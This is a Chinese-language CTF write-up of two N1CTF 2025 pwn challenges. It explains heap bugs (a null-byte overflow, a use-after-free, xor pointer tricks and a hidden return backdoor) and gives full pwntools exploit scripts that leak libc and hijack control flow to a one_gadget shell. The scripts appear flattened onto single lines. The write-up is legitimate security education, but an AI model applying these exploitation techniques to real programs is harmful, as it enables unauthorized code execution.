N1ctf-2025-PWN-ez_heap近隊容器的禮儀

ez_heap

保護全開

程序邏輯:

  1. 讀入0x30的字符串,進行字符串校驗:以冒號為標志split,分成四份。最后輸入字符串形如:
xor = 0x111111111111111
validate = b'admin:'+p64(xor)+b':Junior:111111'

[圖片]

  1. 創建0x180的chunk存放note 結構體每個note大小為0x30,note結構:
    [圖片]

  2. add,edit,delete,show操作

漏洞點:

  1. editName中strlen可以用\x00繞過造成溢出

  2. 后門:remove操作中有一個一眼就很可疑的地方:lucky number,
    在這里插入圖片描述
    如果這里的if判斷不通過,直接return,看反編譯的偽代碼不容易看出來,看匯編代碼+動態調試可以發現
    if判斷的參數初始值為1,如果執行過一次editName操作以后,這個參數會自減一次,此時remove函數結束時會執行 ret lucyNumber操作
    [圖片]

  3. 這里的xor操作,其中的一個操作數是可控的,dest
    [圖片]

[圖片]

難點

editName操作和show操作只能執行一次
利用xor操作構造任意地址讀寫條件泄露libc地址

漏洞利用

第一階段:
泄露heap基址和程序基址(PIE)
由于存在xor后的數據chunk的地址,結合動態調試,heap地址的后三字節是固定的,加上一字節的\x00溢出,
第一個note content chunk的起始地址為000+0x290(tcache bin管理結構)+0x190(note 結構體 chunk)=0x420
如果控制xor的操作數后兩位為20,且第二個note content chunk與第一個同處于0x400-0x4ff空間上,當使用editName方法溢出第二個結構體chunk的name,此時這兩個結構體chunk的note content chunk就指向了同一個,此時就構造了一個UAF,可以泄露heap地址和程序地址(程序地址用BSS的chunkList的地址)
此時edit和show都用過一次不能再用了,很自然的就想到再執行一次main函數,將luckynumber設置為main addr
第二階段:
上面只是思考過程,此時才發現:
在回顧一下heap的構造,結構體chunk有一部分也處0x400-0x4ff,再溢出一次name則xor結果末兩位是00,此時xor第一個操作數末兩位是什么(假如設置為0xmn),那么這個溢出的結構體的conten就會指向0x4mn,第一階段的泄露操作也可以通過最后一個結構體chunk泄露

這時就可以show和修改最后一個struct chunk的data content chunk的地址(要寫入xor后的結果),將其指向got表結合show操作就可以泄露libc、heap、程序地址
最后將LUCKYNUMBER設置為onegadget即可

利用腳本

def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)  xor = 0x111111111111111validate = b'admin:'+p64(xor)+b':Junior:111111'sla(b'Do you want to play a game with me?\n',validate)key_default = b'1'*8add(key_default,b'1',b'8',b'a'*0x10)add(key_default,b'1',b'8',b'b'*0x10)add(key_default,b'1',b'8',b'c'*0x10)add(key_default,b'1',b'8',b'd'*0x10)add(key_default,b'1',b'8',b'e'*0x10)add(key_default,b'1',b'8',b'f'*0x10)add(key_default,b'1',b'8',b'g'*0x10)remove(key_default,0,str(1))add(key_default,b'1',b'8',b'h'*0x10)edit_name(key_default,7,b'\x00'+b'a'*(0xf))show(key_default,7)ru(b'content: ')heap_base = ((uu64(r(7))<<8)^xor)>>12<<12leak('heap_base',heap_base)proc_base = uu64(ru('\n')) - 0x4080 - 0x7*8leak('proc_base',proc_base)main_sym = 0x1CC7ret_addr_in_remove = proc_base+main_symremove(key_default,1,str(ret_addr_in_remove))sla(b'Do you want to play a game with me?\n',validate)add(key_default,b'1',b'48',b'a'*0x10)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]one_gadget = one_gadget_list[3]edit_name(key_default,0,b'\x00'+b'a'*(0xf)+p64((proc_base+elf.got['free'])^xor))show(key_default,0)ru(b'content: ')free_addr = uu64(ru('\n'))libc.address = free_addr - libc.sym['free']remove(key_default,1,str(libc.address+one_gadget))return

近隊容器的禮儀

嘰里咕嚕的說什么呢,看不懂
[圖片]

搭建環境

附件給出了pwn文件和libc文件夾,將libc.so.6和ld文件從libc文件夾中剪切出來,注意是剪切,確保libc文件夾中不再存在這兩個文件,
直接運行使用:

patchelf --set-interpreter  ./ld-linux-x86-64.so.2 pwn
patchelf --replace-needed libc.so.6  ./libc.so.6 pwn
LD_LIBRARY_PATH=./libc pwn

python中pwnlib調用:

# 也需要先像上面的shell命令一樣先patchelf
binary = './pwn'
p = process(binary,env={'LD_PRELOAD':'','LD_LIBRARY_PATH':'./libc/'})
# 二選一即可
gdbscript = ''
p = gdb.debug(binary, gdbscript,env={'LD_LIBRARY_PATH':'./libc/'})

程序邏輯

b'1. Exit\n'
b'2. Add deque to vector\n'
b'3. Create Animal in deque\n'
b'4. Remove deque from vector\n'
b'5. Remove Animal from deque\n'
b'6. Edit Animal in deque\n'
b'7. Print Animal in deque\n'
b'12. Create Animal in vector\n'
b'13. Remove Animal from vector\n'
b'14. Edit Animal in vector\n'
b'15. Print Animal in vector\n'
b'Enter your choice: '

IDA的結果看起來太復雜了,先直接進行幾次操作看看
[圖片]

先嘗試下有沒有UAF
結果一試還真有

漏洞點

  1. 剛剛提到的UAF,可以通過unsorted bin fd泄露libc和tcache bin fd泄露heap基址
  2. 堆溢出
    [圖片]
    很明顯看到有個堆溢出

漏洞利用

先利用deque上的操作泄露地址
后用vector上的操作任意地址寫(當時熬夜寫的題,我也沒去分析它到底能不能用deque的方法來,就是覺得給了這么多方法都用試試)
vecor申請的chunk結構是:一個0x20大小的結構體和對應size大小的animal,結構體中寫著animal chunk的地址,因為能棧溢出,所以直接可以任意地址寫
這里采取的操作時打enviorn打棧,從main的ret指令開始打;
算出environ到執行到main ret時棧地址的偏移量,然后構造棧滿足ongadget的條件即可,也可以構造rop鏈
利用腳本
最后執行exit操作就可以執行到main的ret
注意執行execve的時候保證結尾是0x0而不是8吧,對齊一下

def exp():global libcglobal binaryglobal elfelf = ELF(binary, checksec=False)libc = ELF("./libc.so.6", checksec=False)add_deque()create_animal_deque(0,0x80)show_animal_deque(0,0)ru('): ')libc.address = uu64(ru(b'\n'))-0x203b20leak('libc_base',libc.address)# 防止deque為空而不能show UAFcreate_animal_deque(0,0x80)malloc_hook = libc.sym['__malloc_hook']leak('__malloc_hook',malloc_hook)one_gadget_list = [0x583ec,0x583f3,0xef4ce,0xef52b]'''    0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])constraints:address rbp-0x50 is writablerax == NULL || {"/bin/sh", rax, NULL} is a valid argv[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp'''one_gadget =libc.address + one_gadget_list[3]system_addr = libc.sym['system']# pause()environ =  libc.symbols['environ']create_animal_vector(0x90)    create_animal_vector(0x90)edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ))show_animal_vector(1)ru(b'): ')environ_addr = uu64(ru(b'\n'))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x30))show_animal_vector(1)ru(b'): ')start_addr = uu64(ru(b'\n')) - 37proc_base = start_addr - elf.sym['_start']ret_of_main = environ_addr - 0x130ret_addr = proc_base+0x101aedit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main))edit_animal_vector(1,0x8,p64(ret_addr))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(ret_of_main+8))edit_animal_vector(1,0x8,p64(one_gadget))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0x110))edit_animal_vector(1,0x8,p64(0))edit_animal_vector(0,0x90+0x20,b'a'*0x90 + p64(0) + p64(0x21) + p64(0) + p64(environ_addr-0xe8))edit_animal_vector(1,0x8,p64(0))# exit 推出時會執行ret of mainsla(b'Enter your choice:',b'1')return

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/97718.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/97718.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/97718.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

縱深防御實踐:東方隱俠CI/CD安全體系構建全解析

前言:CI/CD安全的必要性 企業上云是近些年的潮流,但是風險如影隨形。之前有家電商平臺出了個大岔子——半夜自動發新版本的時候,因為流程里沒做安全檢查,直接導致系統故障,一天就損失了300多萬。這還不算完,某銀行測試人員通過未授權的自動發布流程把代碼推到了生產環境…

2025年滲透測試面試題總結-71(題目+回答)

安全領域各種資源&#xff0c;學習文檔&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具&#xff0c;歡迎關注。 目錄 2. 滲透測試流程 & 內網滲透經驗 3. SQL注入報錯利用 4. XSS利用&#xff08;反射型/DOM型&#xff0…

基于Echarts+HTML5可視化數據大屏展示-茶園大數據平臺指揮艙

效果展示&#xff1a;代碼結構&#xff1a;主要代碼實現 index.html布局 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0&quo…

華為網路設備學習-33(BGP協議 八)BGP路由 選路規則

一、目標與背景BGP路由特性&#xff1a;支持豐富的路徑屬性選路規則多樣注&#xff1a;在BGP路由表中最優選&#xff0c;不一定是路由表中的最優選。有可能存在靜態路由或者ospf路由等&#xff0c;其優先級高于BGP路由。二、選路規則概述從1到12&#xff0c;依次對比優先級。一…

深度學習(七):梯度下降

梯度下降&#xff08;Gradient Descent&#xff09;是深度學習中最核心的優化方法之一&#xff0c;它通過迭代更新模型參數&#xff0c;使得損失函數達到最小值&#xff0c;從而訓練出性能良好的神經網絡模型。 基礎原理 損失函數 在深度學習中&#xff0c;損失函數 L(θ) 是衡…

常見巖性分類與油氣勘探意義筆記

常見巖性分類與油氣勘探意義筆記 相關科普視頻可查看【說說巖石的分類-嗶哩嗶哩】 一、巖石基本分類體系 根據成因&#xff0c;自然界巖石可分為三大類&#xff0c;其中沉積巖與油氣勘探關系最為密切&#xff1a; 1. 火成巖&#xff08;巖漿巖&#xff09; 由巖漿冷卻凝固…

【Kubernetes】Tomcat 啟用 Prometheus 監控指標

之前出過一篇文章關于 “自定義監控指標實現業務 HPA 伸縮” &#xff0c;其中使用了 webapp 應用的指標數據&#xff08;JVM&#xff09;&#xff0c;接下來&#xff0c;這篇文章將介紹如何在通過 Tomcat 部署的 webapp 中啟用 Metrics 指標&#xff0c;一起來看看吧&#xf…

JVM 三色標記算法詳解!

目錄1. 什么是三色標記算法&#xff1f;三種顏色及其含義&#xff1a;2. 基礎三色標記算法流程 (非并發)3. 并發場景下的挑戰&#xff1a;一致性問題3.1. 漏標 (Missing Live Object) - 最嚴重的問題3.2. 錯標 (Floating Garbage) - 不那么嚴重的問題4. 屏障機制 (Barrier) - 解…

優化神經網絡模型以提升R2值至0.99的全面方案

優化神經網絡模型以提升R值至0.99的全面方案 1. 問題分析與背景 在深度學習項目中&#xff0c;提升模型的R&#xff08;決定系數&#xff09;值至0.99是一個具有挑戰性的目標&#xff0c;特別是在處理復雜的時間序列數據時。我們的現有模型結合了LSTM層、自注意力機制和MLP處理…

pgNow:一款免費的PostgreSQL監控與性能診斷工具

pgNow 是一款免費的桌面工具&#xff0c;可以為 PostgreSQL 數據庫提供快速集中的監控與性能診斷。 pgNow 不依賴代理&#xff0c;無需任何配置&#xff0c;可以幫助開發者或數據庫管理員&#xff08;DBA&#xff09;直觀地查看數據庫的統計信息和關鍵性能指標。 功能特性 跨平…

深入理解棧與隊列——從原理理解到實戰應用

目錄 一、引言 二、棧&#xff08;Stack&#xff09; 2.1 棧的基本概念 2.2 棧的使用 2.3 棧的模擬實現 2.4 棧的實戰應用 2.4.1 括號匹配 2.4.2 逆波蘭表達式求值 2.4.3 出棧入棧次序匹配 2.4.4 最小棧 三、隊列&#xff08;Queue&#xff09; 3.1 隊列的基本概念 …

用html5寫王者榮耀之王者墳墓的游戲2deepseek版

我將為您創建一個王者榮耀英雄墳墓游戲的提詞器HTML頁面。這個工具將幫助游戲主播或玩家在游戲中快速查看英雄技能、連招順序等信息。設計思路 創建英雄選擇界面實現提詞器顯示區域&#xff0c;可自定義文本內容添加字體大小、滾動速度控制設計符合王者榮耀風格的UI下面是…

輕閱讀:一鍵解決瀏覽器無法預覽Office文檔的實用方案

在日常辦公中&#xff0c;通過瀏覽器直接打開Word、Excel或PPT等文檔時&#xff0c;常遇到“需下載后用本地軟件打開”的困擾&#xff0c;不僅流程繁瑣&#xff0c;還面臨格式兼容、設備存儲不足等問題。輕閱讀&#xff08;QingYueDu&#xff09;作為一款輕量級文件在線預覽工具…

鴻蒙開發實戰項目(六十七):常見組件和容器低代碼開發示例(ArkTS)

本文詳細代碼需訂閱下面專欄獲取(訂閱后私信郵箱+項目名): https://blog.csdn.net/m0_68036862/category_12333038.html 目錄 介紹 環境搭建 代碼結構解讀 創建低代碼工程 低代碼設計界面布局 實現數據動態渲染 手動創建低代碼頁面 介紹 本篇Codelab是基于ArkTS語言的…

MySQL學習筆記04-DML-數據的增刪改

新增數據--insert樣例代碼-- DML : 數據操作語言 -- DML : 插入數據 - insert -- 1. 為 emp 表的 username, password, name, gender, phone 字段插入值 insert into emp (username,password,name,gender,phone) values(fei,123456,張飛,1,13888888888);-- 2. 為 emp 表的 所有…

拼多多返利app的服務網格(Service Mesh)實踐:Istio在導購系統中的應用

拼多多返利app的服務網格&#xff08;Service Mesh&#xff09;實踐&#xff1a;Istio在導購系統中的應用 大家好&#xff0c;我是阿可&#xff0c;微賺淘客系統及省賺客APP創始人&#xff0c;是個冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01; 在拼多多返利app的…

【RabbitMQ】高級特性:持久性·發送方確認·重試機制·TTL·死信隊列·延遲隊列·事務·消息分發

RabbitMQ的高級特性還包括我的上篇博客 【RabbitMQ】-----詳解RabbitMQ高級特性之消息確認機制-CSDN博客 目錄 RabbitMQ高級特性之持久性 持久性 交換機持久化 隊列持久化消息持久化 RabbitMQ高級特性之發送方確認機制 發送方確認 添加配置 常量類 聲明隊列和交換機…

鴻蒙Next ArkWeb網頁多媒體開發實戰:從基礎到高級應用

解鎖鴻蒙ArkWeb的強大多媒體能力&#xff0c;讓網頁視頻音頻體驗媲美原生應用在日常應用開發中&#xff0c;我們經常需要在應用中嵌入網頁并展示其中的多媒體內容。鴻蒙HarmonyOS Next的ArkWeb組件提供了強大的網頁渲染能力&#xff0c;尤其對網頁中的多媒體元素有出色的支持。…

06. Linux進程概念 1

Linux進程概念 馮諾依曼體系 馮諾依曼體系結構&#xff08;Von Neumann Architecture&#xff09;是現代計算機設計的奠基石&#xff0c;由數學家約翰馮諾依曼于1945年提出。這一架構徹底改變了早期計算機“硬件即程序”的設計方式&#xff0c;使得計算機可以靈活地運行不同程序…

HTTP標頭全解析:保護你的Web應用!

在網絡攻擊頻發的時代&#xff0c;你的Web應用是否像一座沒有城墻的城堡&#xff0c;任由XSS、點擊劫持和中間人攻擊入侵&#xff1f;HTTP標頭&#xff0c;這些看似不起眼的響應頭&#xff0c;其實是Web安全的隱形守護者。想象一個電商網站&#xff0c;用戶數據被竊取&#xff…